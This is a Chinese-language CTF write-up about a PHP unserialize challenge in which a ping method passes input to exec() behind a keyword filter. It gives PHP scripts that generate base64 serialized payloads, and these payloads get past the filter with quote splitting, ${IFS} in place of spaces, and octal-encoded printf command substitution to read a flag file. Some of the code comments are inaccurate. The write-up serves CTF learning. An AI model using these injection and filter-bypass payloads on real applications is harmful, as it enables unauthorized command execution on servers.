题目
打开就是PHP源码,我们对源码进行分析
<?php
highlight_file(__FILE__);
//语法高亮
class ease{//类定义
private $method;//私有变量
private $args;
function __construct($method, $args) {
//__construct() 函数创建一个新的 SimpleXMLElement 对象。
$this->method = $method;//给私有变量赋值
$this->args = $args;//给私有变量赋值
}
function __destruct(){
//析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
if (in_array($this->method, array("ping"))) {
//判断method变量是否等于"ping"
call_user_func_array(array($this, $this->method), $this->args);
}
} //相当于ping命令
function ping($ip){//执行ping命令
exec($ip, $result);//返回结果的值和类型
var_dump($result);
}
function waf($str){//过滤"/(\||&|;| |\/|cat|flag|tac|php|ls)/"
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){//唤醒操作
foreach($this->args as $k => $v) {//数组遍历
$this->args[$k] = $this->waf($v);//过滤关键字
}
}
}
$ctf=@$_POST['ctf'];//POST传参
@unserialize(base64_decode($ctf));//先进行base64解码然后在进行反序列化
?>
通过分析上面的代码我们可以得出,我们只要控制ctf这个参数的输入的值,就可以达成命令执行的效果,但是上面的代码,我们需要两个参数ping和后面命令执行的值,我们首先就得看看当前目录下都有些什么东西。同时我们需要考虑ls字符被过滤了,那么我们需要进行绕过,那我们就可以写出如下的PHP语句进行,ctf值的输出了
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
将上面的代码运行,得出结果
使用POST请求将ctf参数的值进行传入
我们发现路径下有一个 flag_1s_here文件,那我们得看看它里面有什么东西,这里唯一的难点就是空格如何去代替
${IFS}:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s${IFS}fl""ag_1s_here'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
我们看见 flag_1s_here目录下有一个flag_831b69012c67b35f.php,我们猜想运行这个php或者将它拿出来就可以获得flag,我们访问了该路径发现是空白的无法执行,那我们就用cat命令将这个php读取出来,我们可以使用三中命令读取
cat flag_1s_here/flag_831b69012c67b35f.php
cd flag_1s_here;cat flag_831b69012c67b35f.php
cd flag_1s_here&&cat flag_831b69012c67b35f.php
我看了大佬的wp发现可以使用oct 绕过命令执行也就是对命令进行ascii编码然后八进制转换,进行php代码编写
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
得到了flag